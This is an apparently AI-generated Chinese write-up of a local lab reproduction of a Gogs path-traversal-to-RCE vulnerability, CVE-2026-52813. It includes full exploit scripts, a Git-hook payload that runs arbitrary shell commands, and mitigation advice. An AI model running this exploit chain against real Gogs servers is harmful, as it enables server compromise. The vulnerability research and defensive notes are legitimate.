AI生成|GogsCVE-2026-52813:从组织名路径穿越到RCE的复现全记录"

admin 2026-10-20 13:20:07 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

AI 生成 | Gogs CVE-2026-52813:从组织名路径穿越到 RCE 的复现全记录

原创

GLM-5.2
GLM-5.2

赛博生存指南

2026年6月26日 23:20
浙江

在小说阅读器读本章

去阅读

一、漏洞定位

CVE-2026-52813 / GHSA-c39w-43gm-34h5,CWE-23 Relative Path Traversal,影响 Gogs 0.14.0–0.14.2,0.14.3 修复。

Gogs 在创建组织(organization)时,会用组织名拼出仓库目录路径,却没有对 ../ 做任何清洗:

// internal/database/org.go
os.MkdirAll(repox.UserPath(org.Name))

由于组织名是攻击者可控的字符串,一个形如 ../../../../data/gogs/data/tmp/local-r/<id>/nested 的组织名,会让该组织下的仓库目录被建到任意路径——包括另一个仓库的本地工作区里。一旦能把文件写进目标仓库的 .git/hooks/,就等于拿到了在该仓库被访问时自动执行的代码(post-receive / update 等 Git 钩子),即 RCE。

执行身份是容器里的 git 用户(uid=1000(git)),虽不是 root,但对自托管 Git 服务来说,这已经是完整的服务端命令执行。

地址:https://github.com/gogs/gogs/security/advisories/GHSA-c39w-43gm-34h5

文中相关脚本【文末也有】:https://pan.baidu.com/s/1Rzb0MtyekVg-c-nYj4h8oA?pwd=vft2 提取码: vft2

二、关键前提:Gogs 的 local-r 机制

复现前必须搞懂的一个细节:Gogs 不是直接对裸仓库(bare repo)做 Web/API 文件操作的。每次通过 Web 编辑器或 API 写文件,它会在 /data/gogs/data/tmp/local-r/<repo_id>/ 下克隆出一份工作副本,在副本里改文件、提交,再同步回裸仓库。

这条机制的副作用,是整个利用链能成立的基础:

  • • 给组织名做路径穿越后,组织下新建仓库的 .git 目录会落在另一个仓库(writer)的工作副本目录树里;
  • • writer 的工作副本本身可以被 clone、被 push——于是攻击者能像改普通文件一样,把恶意内容写进那个被“挪过来”的 .git/hooks/;
  • • 关键还在于:local-r/<id>/ 里那份 .git/hooks/ 是 git init 自动生成的,钩子文件权限是 100755(可执行)。这一点在后面会成为绕过 Windows 攻击端坑的关键。

三、复现环境

最小 Docker Compose 栈,Gogs + PostgreSQL:

services:
  db:
    image: postgres:16-alpine
    environment:
      POSTGRES_USER: gogs
      POSTGRES_PASSWORD: gogs
      POSTGRES_DB: gogs
    volumes:
      - postgres-data:/var/lib/postgresql/data
    healthcheck:
      test: [ \"CMD-SHELL\", \"pg_isready -U gogs -d gogs\" ]
      interval: 5s
      timeout: 5s
      retries: 5

  gogs:
    # Pinned to 0.14.2 — last VULNERABLE release for CVE-2026-52813
    image: gogs/gogs:0.14.2
    depends_on:
      db:
        condition: service_healthy
    ports:
      - \"3000:3000\"
    volumes:
      - gogs-data:/data
    restart: unless-stopped

volumes:
  gogs-data:
  postgres-data:

镜像版本这一行是整套复现里最容易被忽略、却最致命的坑(详见第五节)。这里必须钉死 gogs/gogs:0.14.2,gogs/gogs:latest 现在已经是修复后的 0.14.3。

四、复现流程

整个流程拆成两段脚本:setup.py 负责把空实例配好并造出攻击者账号;gogs-rce.py 负责跑完整的利用链。

1. 起服务

docker compose up -d

等 Gogs 起来后访问 http://localhost:3000/,会 302 跳到 /install 安装向导。这一步用脚本自动填表,不手点。

2. 安装向导 + 建号(setup.py)

setup.py 干三件事:填 PostgreSQL 连接信息提交安装表单;等安装完成、Gogs 内部重启;用管理员账号通过 API 造一个 attacker/attacker 攻击者账号。

为什么走 API 而不是网页注册?因为自注册默认带 CAPTCHA,脚本里处理验证码不划算;用管理员 token 走 /api/v1/admin/users 直接建号最干净。

安装成功后,实例上就有了:

账号 密码 角色
gogs gogspass 管理员
attacker attacker 攻击者(普通用户)

3. 利用链(gogs-rce.py)

完整利用链共 16 步,核心逻辑如下。命令默认 id,可改成任意 shell 命令。

step 1  attacker 申请 API token(basic auth 换 sha1 token)
step 2  建 writer 仓库(普通个人仓库),Gogs 在 local-r/<n>/ 给它建工作副本
step 3  Web 编辑器往 writer 丢一个文件,触发 local-r 工作副本生成
step 4  查出 writer 的 repo id = n
step 5  建组织:username = ../../../../data/gogs/data/tmp/local-r/<n>/nested  ← 穿越点
step 6  GET 组织确认 422 已消失(即穿越名被接受)
step 7  在该组织下建 rce 仓库 —— 它的 .git 目录被写进 writer 的工作副本里
step 8  GET rce 仓库确认存在
step 9  往 writer 丢文件,强制 resync:把 nested/<rce>.git/ 连同可执行钩子提交进 writer 树
step 10 clone writer 到本地
step 11 覆写 nested/<rce>.git/hooks/{post-receive,update} 为 payload
step 12 push writer
step 13 再次 resync:把可执行的恶意 post-receive 落到 rce 裸仓库的磁盘上
step 14 往 rce 仓库写文件触发 hook → Gogs 推送 → post-receive 执行 → 落盘 CMD_OUTPUT
step 15 第三次 resync:把磁盘上的 CMD_OUTPUT 提交进 writer 树
step 16 GET writer 的 raw 文件读出命令执行结果

payload 本体是个 base64 + bash 的一行:

echo '<base64(COMMAND)>' | base64 -d | bash > pwned

钩子被 Gogs 以 git 身份执行,输出写到裸仓库目录下的 pwned,再通过 writer 的 raw 接口读回来。

4. 成功结果

两轮干净的端到端复现,都拿到了 git 身份的任意命令执行:

uid=1000(git) gid=1000(git) groups=1000(git)

换成读系统信息,确认了执行环境是 WSL2 下的 Alpine:

PWNED_BY=git ON=cee09eb74aa7 KERNEL=Linux 6.6.87.2-microsoft-standard-WSL2
PRETTY_NAME=\"Alpine Linux v3.21\"

五、遇到的问题与排查(重点)

这套 PoC 在公开 gist 里是为 Linux 攻击机写的,原样跑在 Windows 上、或在当前(2026 年中)的时间点跑,会连续踩坑。下面按踩坑顺序逐个记录。

问题 1:gogs/gogs:latest 已经是修复版

最开始没钉版本,直接 image: gogs/gogs。环境起得来、安装也过了,但到了 step 5 建组织时报:

422 {\"message\":\"invalid org name\",\"url\":\"...\"}

组织名里的 ../ 被服务端拒掉了。第一反应是 payload 转义问题,改了好几种 URL 编码都没用。去查镜像 tag 才发现:gogs/gogs:latest 现在指向 0.14.3,构建日期 2026-06-07,漏洞已经修了。0.14.3 的修复正是对组织名做了路径校验。

解决:把 compose 里的镜像钉成 gogs/gogs:0.14.2,docker compose down -v 清掉旧数据卷后重建。这一步是能否复现的“0 和 1”。

教训:复现历史 CVE,镜像版本永远要钉到漏洞窗口内的具体 tag,不要信 latest。

问题 2:安装表单 400(字段不全)

setup.py 第一次提交 /install 直接 400。原因是安装表单的字段集和早期版本不一样,0.14.x 多了几个必填项:

  • • db_schema:PostgreSQL 必填,要设成 \"public\",否则后面会报 schema 错误(见问题 4);
  • • log_root_path:要给一个容器内可写路径,如 /app/gogs/log;
  • • use_builtin_ssh_server、enable_console_mode、default_branch 等开关字段也不能少。

另外管理员密码有最小长度校验,最初用的短密码直接被拒。

解决:按 0.14.x 表单把字段补全,ADMIN_PASS 改成 \"gogspass\"。

问题 3:PostgreSQL 认证失败(SQLSTATE 28P01)

装好提交,PostgreSQL 报 password authentication failed for user \"gogs\"。

排查发现是数据卷持久化惹的祸:之前用过别的密码起过 postgres,卷里已经存了旧密码的认证信息。POSTGRES_PASSWORD 这个环境变量只在卷第一次初始化时生效,卷已存在时改环境变量无效。

解决:docker compose down -v 连数据卷一起删,重新初始化。

教训:postgres 容器改了 POSTGRES_PASSWORD 不生效,99% 是卷里已有旧数据。要么 -v,要么进库手动 ALTER USER。

问题 4:PostgreSQL 未选 schema(SQLSTATE 3F000)

密码过了,又报 no schema has been selected to create in。

这是 0.14.x 安装表单新增的 db_schema 字段没填。早期 Gogs 不分 schema,直接用 public;新版表单把它做成显式字段,留空就报这个错。

解决:表单里加 \"db_schema\": \"public\"。

问题 5:admin token 接口 401

实例装好了,setup.py 去调 /api/v1/users/gogs/tokens 用 basic auth 换 token,稳定 401。但用网页能正常登录,说明账号密码没问题。

两个原因叠加:

  1. 1. 会话污染:安装流程用的那个 requests.Session() 带着安装时的 cookie,和 HTTP basic auth 打架,认证头被 cookie 影子盖住;
  2. 2. 重启竞态:Gogs 装完会内部重启一次,重启的几秒内 API 还没就绪,basic auth 会短暂 401。

解决:admin_token() 和 create_attacker() 都改用全新的 requests.Session()(不复用安装那个被污染的 session),外加一个最多 20 次、每次间隔 2 秒的重试循环,并在 install_done() 之后再 time.sleep(8) 把重启窗口让过去。

教训:requests 里 basic auth 和 session cookie 同存时,认证语义会被 cookie 干扰,调试脚本最好给每段独立的事务开新 session。

问题 6:最后一步 404(Windows 攻击端钩子丢失可执行位)——最隐蔽的坑

这是耗时最长的一个坑。版本钉对了(0.14.2)、穿越成功、update 钩子也写进去了,但 step 14 触发后 step 16 读 pwned 返回 404——钩子根本没执行。

原因链:

    1. 原始 gist PoC 只覆盖一个新建的 update 钩子;
    1. 我在 Windows 上跑攻击端,Windows 版 git 默认 core.fileMode=false,新增文件一律按 100644(非可执行)入索引;
    1. push 上去后,update 钩子在服务端就是 100644,git 不会执行没有可执行位的钩子;
    1. 于是触发推送时钩子被静默跳过,pwned 从不生成,读出来就是 404。

解决:思路是覆盖一个已经可执行的文件,而不是新建文件。git init 创建裸仓库时,hooks/ 下的 post-receive.sample 等模板是 100755,而 Gogs 落地的真实 post-receive 同样是 100755。在 core.fileMode=false 下,git add 一个已存在的可执行文件时,会保留其索引中的 100755 模式,只改内容。于是:

  • • payload 同时写 post-receive 和 update 两个钩子——post-receive 是覆盖既有可执行文件(生效,跨平台),update 是新建(仅在 Linux 攻击端生效,作为兼容兜底);
  • • 详见 gogs-rce.py 文件头注释里写的两条适配。
hook_paths = [Path(ORG_NAME) / f\"{REPO_NAME}.git\" / \"hooks\" / h
              for h in (\"post-receive\", \"update\")]

问题 7:钩子写进 writer 树却没落到 rce 裸仓库的磁盘上

修好可执行位后,钩子在 writer 的 git 树里是对的了,但 step 14 触发还是没执行。

根因回到第二节那条 local-r 机制:writer 树里的 .git/hooks/ 内容,不会自动同步回 local-r/<n>/ 下 rce 裸仓库的磁盘。Gogs 只有在“对 writer 做一次写操作”时才会重新拉取/同步 writer 的工作副本。所以单纯 clone→改→push,恶意钩子停留在 writer 的提交历史里,但 rce 裸仓库磁盘上那份钩子还是干净的。

解决:在关键节点插入 3 次 writer resync(每次都是往 writer 丢一个文件,逼 Gogs 重新同步工作副本):

  • • step 9:rce 仓库建完后 resync,让 nested/<rce>.git/ 连同可执行钩子先进 writer 树;
  • • step 13:push 完 payload 再 resync,把可执行的恶意 post-receive 落到 rce 裸仓库磁盘上;
  • • step 15:触发执行后 resync,把磁盘上新产生的 pwned 提交回 writer 树,供 step 16 读取。

原 gist 在 Linux 上一次跑通,部分原因是它的工作目录/同步时机恰好踩对了;到了 Windows + 当前版本环境,必须显式补这几步。

六、坑位速查表

# 现象 根因 解决
1 建组织 422 invalid org name :latest 已是修复版 0.14.3 钉 gogs/gogs:0.14.2,清卷重建
2 安装表单 400 0.14.x 新增 db_schema 等字段、密码过短 补全表单字段,加长管理员密码
3 PG 28P01 认证失败 旧卷存了别的密码 docker compose down -v
4 PG 3F000 未选 schema db_schema 留空 设 db_schema: \"public\"
5 admin token 401 session 污染 + 重启竞态 新 session + 重试 + 重启后 sleep
6 触发后 404 Windows core.fileMode=false,新钩子无执行位 覆盖既有 100755 的 post-receive
7 钩子未落地 local-r 工作副本未同步 插入 3 次 writer resync

七、修复与防御

官方 0.14.3 的修法是对组织名(以及其它用户可控的仓库路径片段)做白名单字符校验,拒掉 ../ 与绝对路径,从源头堵住路径穿越。

对运维侧的几条启示:

  1. 1. 及时升级。自托管服务极易长期停在某个老版本,Gogs 这类项目修复窗口一过,公开 PoC 就能直接打。当前线上应至少升到 0.14.3。
  2. 2. 最小权限。容器以 git 用户而非 root 运行,确实把爆炸半径限在容器内,但“容器内非 root”不等于安全——本案照样拿到服务端 RCE。配合只读根文件系统、 capabilities 裁剪才有意义。
  3. 3. 仓库目录与运行态目录隔离。本案能成立,部分是因为仓库存储路径(/data/git/gogs-repositories)和运行态临时目录(/data/gogs/data/tmp/)落在同一棵可写树下。理想情况应分卷、分权限。
  4. 4. 钩子执行监控。Git 钩子是 git 身份的任意执行点。生产环境若开了仓库钩子,应配合 exec 审计(auditd / Sysmon for Linux)记录 hooks/ 下的执行行为。

八、安全说明

本文是对公开披露漏洞(GHSA-c39w-43gm-34h5 / CVE-2026-52813)的本地复现记录,所有操作都在本人完全可控的 Docker 隔离实例上完成,使用官方已修复版本之外的最后一个受影响版本 0.14.2 做验证。目的仅为理解漏洞成因与排查思路,请勿用于未授权目标。


附录:相关脚本

完整脚本保存在仓库。下面给出复现用到的三个文件,仅作技术参考,请在授权隔离环境使用。

1. docker-compose.yml

services:
  db:
    image: postgres:16-alpine
    environment:
      POSTGRES_USER: gogs
      POSTGRES_PASSWORD: gogs
      POSTGRES_DB: gogs
    volumes:
      - postgres-data:/var/lib/postgresql/data
    restart: unless-stopped
    healthcheck:
      test: [ \"CMD-SHELL\", \"pg_isready -U gogs -d gogs\" ]
      interval: 5s
      timeout: 5s
      retries: 5

  gogs:
    # Pinned to 0.14.2 — last VULNERABLE release for CVE-2026-52813 / GHSA-c39w-43gm-34h5
    # (org-name path traversal -> RCE). Fixed in 0.14.3.
    image: gogs/gogs:0.14.2
    depends_on:
      db:
        condition: service_healthy
    ports:
      - \"3000:3000\"
    volumes:
      - gogs-data:/data
    restart: unless-stopped

volumes:
  gogs-data:
  postgres-data:

2. setup.py(自动安装 + 建攻击者账号)

\"\"\"Bootstrap a fresh Gogs instance for the GHSA-c39w-43gm-34h5 PoC.

Steps:
  1. Wait for Gogs to come up and expose /install.
  2. POST the installer form (PostgreSQL at db:5432 + admin account `gogs/gogs`).
  3. Wait until install completes.
  4. Mint an admin API token and create the `attacker/attacker` user via the admin API
     (avoids the self-registration CAPTCHA entirely).
\"\"\"
from __future__ import annotations

import re
import sys
import time

import requests

GOGS_BASE = \"http://localhost:3000\"
ADMIN_USER = \"gogs\"
ADMIN_PASS = \"gogspass\"
ADMIN_EMAIL = \"[email protected]\"
ATTACKER_USER = \"attacker\"
ATTACKER_PASS = \"attacker\"
ATTACKER_EMAIL = \"[email protected]\"

s = requests.Session()

def wait_for(url: str, *, want_installable: bool = False, timeout: int = 180) -> None:
    deadline = time.time() + timeout
    while time.time() < deadline:
        try:
            r = s.get(url, allow_redirects=False, timeout=5)
        except requests.RequestException:
            time.sleep(2)
            continue
        if r.status_code in (200, 302):
            if want_installable:
                loc = r.headers.get(\"Location\", \"\")
                if r.status_code == 302 and loc.endswith(\"/install\"):
                    return
                if r.status_code == 200 and \"/install\" in r.text:
                    return
            else:
                return
        time.sleep(2)
    raise SystemExit(f\"timed out waiting for {url}\")

def csrf_from(html: str) -> str | None:
    for pat in (
        r'<input[^>]+name=\"_csrf\"[^>]+value=\"([^\"]+)\"',
        r'<meta name=\"_csrf\" content=\"([^\"]+)\"',
    ):
        m = re.search(pat, html)
        if m:
            return m.group(1)
    return None

def do_install() -> None:
    # Gogs serves / on a fresh instance by redirecting to /install
    r = s.get(f\"{GOGS_BASE}/install\", timeout=10)
    print(\"[install] GET /install ->\", r.status_code)
    csrf = csrf_from(r.text)
    form = {
        \"db_type\": \"PostgreSQL\",
        \"db_host\": \"db:5432\",
        \"db_user\": \"gogs\",
        \"db_passwd\": \"gogs\",
        \"db_name\": \"gogs\",
        \"db_schema\": \"public\",
        \"ssl_mode\": \"disable\",
        \"db_path\": \"\",
        \"app_name\": \"Gogs\",
        \"repo_root_path\": \"/data/git/gogs-repositories\",
        \"run_user\": \"git\",
        \"domain\": \"localhost\",
        \"ssh_port\": \"22\",
        \"use_builtin_ssh_server\": \"\",
        \"http_port\": \"3000\",
        \"app_url\": f\"{GOGS_BASE}/\",
        \"log_root_path\": \"/app/gogs/log\",
        \"enable_console_mode\": \"on\",
        \"default_branch\": \"master\",
        \"smtp_host\": \"\",
        \"smtp_from\": \"\",
        \"smtp_user\": \"\",
        \"smtp_passwd\": \"\",
        \"register_confirm\": \"off\",
        \"mail_notify\": \"off\",
        \"offline_mode\": \"on\",
        \"disable_gravatar\": \"on\",
        \"enable_federated_avatar\": \"off\",
        \"disable_registration\": \"off\",
        \"enable_captcha\": \"off\",
        \"require_sign_in_view\": \"off\",
        \"admin_name\": ADMIN_USER,
        \"admin_passwd\": ADMIN_PASS,
        \"admin_confirm_passwd\": ADMIN_PASS,
        \"admin_email\": ADMIN_EMAIL,
    }
    if csrf:
        form[\"_csrf\"] = csrf
    r = s.post(f\"{GOGS_BASE}/install\", data=form, allow_redirects=False, timeout=30)
    print(\"[install] POST /install ->\", r.status_code, r.headers.get(\"Location\", \"\"))

def install_done() -> bool:
    r = s.get(f\"{GOGS_BASE}/\", allow_redirects=False, timeout=10)
    loc = r.headers.get(\"Location\", \"\")
    # Once configured, / no longer redirects to /install
    return not loc.endswith(\"/install\")

def admin_token() -> str:
    # Gogs restarts internally right after install; basic auth may 401 briefly.
    # Use a FRESH session so install-flow cookies don't shadow HTTP basic auth.
    fs = requests.Session()
    last = None
    for _ in range(20):
        r = fs.post(
            f\"{GOGS_BASE}/api/v1/users/{ADMIN_USER}/tokens\",
            auth=(ADMIN_USER, ADMIN_PASS),
            json={\"name\": \"bootstrap\"},
            timeout=10,
        )
        if r.ok:
            print(\"[admin] create token ->\", r.status_code)
            sha1 = r.json().get(\"sha1\")
            if not sha1:
                raise SystemExit(\"admin token response missing sha1\")
            return sha1
        last = f\"{r.status_code} {r.text[:120]}\"
        time.sleep(2)
    raise SystemExit(f\"admin token creation failed after retries: {last}\")

def create_attacker(token: str) -> None:
    fs = requests.Session()
    r = fs.post(
        f\"{GOGS_BASE}/api/v1/admin/users\",
        headers={\"Authorization\": f\"token {token}\"},
        json={
            \"username\": ATTACKER_USER,
            \"email\": ATTACKER_EMAIL,
            \"password\": ATTACKER_PASS,
            \"source_id\": 0,
            \"login_name\": \"\",
        },
        timeout=10,
    )
    print(\"[admin] create attacker ->\", r.status_code)
    if r.status_code == 422:
        print(\"    (already exists?)\", r.text[:200])
        return
    r.raise_for_status()

def main() -> None:
    print(\"waiting for Gogs to come up...\")
    wait_for(f\"{GOGS_BASE}/\", want_installable=True)
    do_install()
    # Gogs restarts internally after install; wait until it stops redirecting to /install
    deadline = time.time() + 120
    while time.time() < deadline:
        try:
            if install_done():
                break
        except requests.RequestException:
            pass
        time.sleep(2)
    else:
        raise SystemExit(\"install did not complete in time\")

    # Let Gogs finish its post-install internal restart before hitting the API.
    time.sleep(8)

    token = admin_token()
    create_attacker(token)
    print(\"setup complete: admin=gogs attacker=attacker\")

if __name__ == \"__main__\":
    sys.exit(main())

3. gogs-rce.py(路径穿越 → RCE 利用链)

\"\"\"PoC for GHSA-c39w-43gm-34h5 / CVE-2026-52813
   Path Traversal in organization name -> RCE via Git hooks (Gogs < 0.14.3).

Adapted from the advisory's gist (https://gist.github.com/JorianWoltjer/4b72063338b27140f4439c524d98f2b9)
for an attacker running on Windows. Two changes vs. the original:

  1. We overwrite the *already-executable* `post-receive` hook (created by Gogs'
     `git init` at mode 100755) instead of creating a *new* `update` hook.
     Reason: Windows git has core.fileMode=false, so a freshly-added file is staged
     as 100644 (non-executable) and git refuses to run it. Modifying an existing
     100755 file preserves the executable bit through `git add`/push. We still also
     write `update` so the PoC works unchanged on a Linux attacker host.
  2. We force a writer-repo resync right after creating the traversal repo, so the
     writer's git tree (and thus our clone) already contains `nested/<rce>.git/hooks/`
     with executable hooks before we overwrite them.
\"\"\"
from __future__ import annotations

import base64
import os
import re
import subprocess
import tempfile
import uuid
from pathlib import Path
from urllib.parse import quote, urlsplit, urlunsplit
from base64 import b64encode

import requests

GOGS_BASE = \"http://localhost:3000\"
USERNAME = \"attacker\"
PASSWORD = \"attacker\"
COMMAND = \"id\"

REPO_NAME = f\"rce-{uuid.uuid4().hex[:8]}\"
WRITER_REPO_NAME = f\"writer-{uuid.uuid4().hex[:8]}\"
ORG_NAME = \"nested\"
CMD_OUTPUT = \"pwned\"
HOOK_BODY = f\"echo '{b64encode(COMMAND.encode()).decode()}' | base64 -d | bash > {CMD_OUTPUT}\
\"

s = requests.Session()

def e(part: str) -> str:
    return quote(part, safe=\"\")

def _csrf_from_meta(html: str) -> str:
    m = re.search(r'<meta name=\"_csrf\" content=\"([^\"]+)\"', html)
    if not m:
        raise SystemExit(\"missing _csrf meta in HTML\")
    return m.group(1)

def _web_login() -> None:
    login_url = f\"{GOGS_BASE}/user/login\"
    r = s.get(login_url)
    r.raise_for_status()
    csrf = _csrf_from_meta(r.text)
    r = s.post(
        login_url,
        data={\"_csrf\": csrf, \"user_name\": USERNAME, \"password\": PASSWORD, \"login_source\": \"0\"},
    )
    r.raise_for_status()

def add_file_via_web_editor(username: str, repo_name: str, path: str, content: str, *, branch: str = \"master\") -> None:
    saved_auth = s.headers.pop(\"Authorization\", None)
    try:
        _web_login()
        new_url = f\"{GOGS_BASE}/{username}/{repo_name}/_new/{branch}/\"
        r = s.get(new_url)
        r.raise_for_status()
        page = r.text
        csrf = _csrf_from_meta(page)
        m = re.search(r'name=\"last_commit\"\\s+value=\"([^\"]+)\"', page)
        if not m:
            raise SystemExit(\"missing last_commit on new-file page\")
        r = s.post(
            new_url,
            data={
                \"_csrf\": csrf, \"last_commit\": m.group(1), \"tree_path\": path,
                \"content\": content, \"commit_summary\": \"\", \"commit_message\": \"\",
                \"commit_choice\": \"direct\", \"new_branch_name\": \"\",
            },
        )
        r.raise_for_status()
    finally:
        if saved_auth is not None:
            s.headers[\"Authorization\"] = saved_auth

def _writer_repo_id() -> int:
    r = s.get(f\"{GOGS_BASE}/api/v1/repos/{USERNAME}/{WRITER_REPO_NAME}\")
    r.raise_for_status()
    rid = r.json().get(\"id\")
    if rid is None:
        raise SystemExit(\"GET writer repo: missing id in JSON\")
    return int(rid)

def _authed_git_clone_url() -> str:
    p = urlsplit(GOGS_BASE)
    repo_path = f\"{p.path.rstrip('/')}/{USERNAME}/{WRITER_REPO_NAME}.git\"
    return urlunsplit((p.scheme, f\"{USERNAME}:{PASSWORD}@{p.netloc}\", repo_path, \"\", \"\"))

def _git_run(args: list[str], *, cwd: str | None = None) -> None:
    env = os.environ.copy()
    env.setdefault(\"GIT_TERMINAL_PROMPT\", \"0\")
    subprocess.run(args, check=True, cwd=cwd, env=env)

def _put_file_contents_api(owner: str, reponame: str, file_path: str, text: str, message: str) -> None:
    url = f\"{GOGS_BASE}/api/v1/repos/{e(owner)}/{reponame}/contents/{quote(file_path, safe='/')}\"
    r = s.put(url, json={\"message\": message, \"content\": base64.standard_b64encode(text.encode()).decode(), \"branch\": \"master\"})
    r.raise_for_status()

def _apply_api_token() -> None:
    tok = s.post(f\"{GOGS_BASE}/api/v1/users/{USERNAME}/tokens\", auth=(USERNAME, PASSWORD), json={\"name\": f\"poc-{uuid.uuid4().hex[:12]}\"})
    tok.raise_for_status()
    sha1 = tok.json().get(\"sha1\")
    if not sha1:
        raise SystemExit(\"token response missing sha1\")
    s.headers[\"Authorization\"] = f\"token {sha1}\"

def main() -> None:
    _apply_api_token()
    print(\"step 1 token ok\")

    cw = s.post(f\"{GOGS_BASE}/api/v1/user/repos\", json={
        \"name\": WRITER_REPO_NAME, \"description\": \"personal writer repo for poc\",
        \"private\": False, \"auto_init\": True, \"readme\": \"Default\",
    })
    cw.raise_for_status()
    print(\"step 2 create writer repo\", cw.status_code, cw.json().get(\"full_name\"))

    add_file_via_web_editor(USERNAME, WRITER_REPO_NAME, \"dummy\", \"dummy\")
    print(\"step 3 web editor new file on\", USERNAME, \"/\", WRITER_REPO_NAME)

    n = _writer_repo_id()
    print(\"step 4 writer repo -> local-r\", n)

    org_name = f\"../../../../data/gogs/data/tmp/local-r/{n}/\" + ORG_NAME
    co = s.post(f\"{GOGS_BASE}/api/v1/user/orgs\", json={\"username\": org_name, \"full_name\": \"deep\"})
    co.raise_for_status()
    print(\"step 5 create org\", co.status_code, \"username\", co.json().get(\"username\"))

    s.get(f\"{GOGS_BASE}/api/v1/orgs/{e(org_name)}\").raise_for_status()
    print(\"step 6 get org ok\")

    cr = s.post(f\"{GOGS_BASE}/api/v1/org/{e(org_name)}/repos\", json={
        \"name\": REPO_NAME, \"description\": \"poc\", \"private\": False, \"auto_init\": True, \"readme\": \"Default\",
    })
    cr.raise_for_status()
    print(\"step 7 create rce repo\", cr.status_code, \"full_name\", cr.json().get(\"full_name\"))

    s.get(f\"{GOGS_BASE}/api/v1/repos/{e(org_name)}/{REPO_NAME}\").raise_for_status()
    print(\"step 8 get rce repo ok\")

    # Resync the writer worktree so nested/<rce>.git/ (with executable hooks) is committed
    # into the writer tree BEFORE we clone + overwrite the hooks.
    _put_file_contents_api(USERNAME, WRITER_REPO_NAME, \"resync1.txt\", \"resync after rce create\
\", \"poc: resync1\")
    print(\"step 9 writer resync (commit nested/<rce>.git into writer tree)\")

    hook_paths = [Path(ORG_NAME) / f\"{REPO_NAME}.git\" / \"hooks\" / h for h in (\"post-receive\", \"update\")]
    clone_dir = tempfile.mkdtemp(prefix=\"poc-writer-\")
    _git_run([\"git\", \"clone\", _authed_git_clone_url(), clone_dir])
    print(\"step 10 clone writer ->\", clone_dir)
    _git_run([\"git\", \"config\", \"user.email\", \"[email protected]\"], cwd=clone_dir)
    _git_run([\"git\", \"config\", \"user.name\", \"poc\"], cwd=clone_dir)
    for hp in hook_paths:
        full = Path(clone_dir) / hp
        full.parent.mkdir(parents=True, exist_ok=True)
        full.write_text(HOOK_BODY, encoding=\"utf-8\")
    _git_run([\"git\", \"add\", \"-A\"], cwd=clone_dir)
    _git_run([\"git\", \"commit\", \"-m\", f\"poc: overwrite {ORG_NAME}/{REPO_NAME}.git hooks\"], cwd=clone_dir)
    print(\"step 11 write hooks:\", \", \".join(str(hp) for hp in hook_paths), \"->\", HOOK_BODY.strip())
    _git_run([\"git\", \"push\", \"origin\", \"master\"], cwd=clone_dir)
    print(\"step 12 push writer\")

    # Resync again: propagate the malicious (executable) post-receive onto disk in the rce bare repo.
    _put_file_contents_api(USERNAME, WRITER_REPO_NAME, \"resync2.txt\", \"propagate hook\
\", \"poc: resync2\")
    print(\"step 13 writer resync (propagate malicious hook to rce bare on disk)\")

    # Trigger the rce repo: Gogs pushes to it -> our post-receive fires -> CMD_OUTPUT is written.
    _put_file_contents_api(org_name, REPO_NAME, \"trigger.txt\", \"trigger the hook\
\", \"poc: trigger rce\")
    print(\"step 14 trigger rce repo (hook should fire)\")

    # Resync writer so CMD_OUTPUT (now on disk in nested/<rce>.git/) gets committed into the writer tree.
    _put_file_contents_api(USERNAME, WRITER_REPO_NAME, \"resync3.txt\", \"commit output\
\", \"poc: resync3\")
    print(\"step 15 writer resync (commit CMD_OUTPUT into writer tree)\")

    url = f\"{GOGS_BASE}/{USERNAME}/{WRITER_REPO_NAME}/raw/master/{ORG_NAME}/{REPO_NAME}.git/{CMD_OUTPUT}\"
    r = s.get(url)
    print(\"step 16 GET raw output\", r.status_code, url)
    r.raise_for_status()
    print(\"\
=== COMMAND OUTPUT ===\")
    print(r.text)

if __name__ == \"__main__\":
    main()

运行顺序:docker compose up -d → python setup.py → python gogs-rce.py。修改 gogs-rce.py 顶部的 COMMAND 即可改变执行的命令。再次强调,请仅在本地隔离环境验证。


    AI生成|GogsCVE-2026-52813:从组织名路径穿越到RCE的复现全记录" 网络安全文章

    AI生成|GogsCVE-2026-52813:从组织名路径穿越到RCE的复现全记录"

    该文档详细分析了Gogs的CVE-2026-52813路径穿越漏洞,影响0.14.0-0.14.2版本,攻击者可通过恶意组织名将仓库目录穿越至其他仓库工作区,通过写入Git钩子实现RCE。文档提供了完整的Docker复现环境配置、16步利用链脚本以及Windows/Linux攻击端的踩坑解决方案,重点强调了版本锁定、权限保持等关键实操要点。
    DeepSeek招人了!史上最大规模扩招" 网络安全文章

    DeepSeek招人了!史上最大规模扩招"

    DeepSeek启动史上最大规模招聘,覆盖算法、研发等7大类33个岗位,北京、杭州同步开放实习通道。重点组建AgentHarness团队对标ClaudeCode,同步加码多模态、基座模型与算力基建,并设立不限专业的AI跨界人才特殊岗位,全面布局AGI研发体系。
    AI不是许愿机,它更像一个放大器" 网络安全文章

    AI不是许愿机,它更像一个放大器"

    本文探讨AI的本质并非实现愿望的机器,而是人类能力的放大器。作者通过编程、创作等实例指出,有效使用AI的前提是使用者自身具备清晰的目标框架与判断力,强调AI时代更需要人类保持学习以驾驭工具,而非依赖AI替代思考。
    评论:0   参与:  0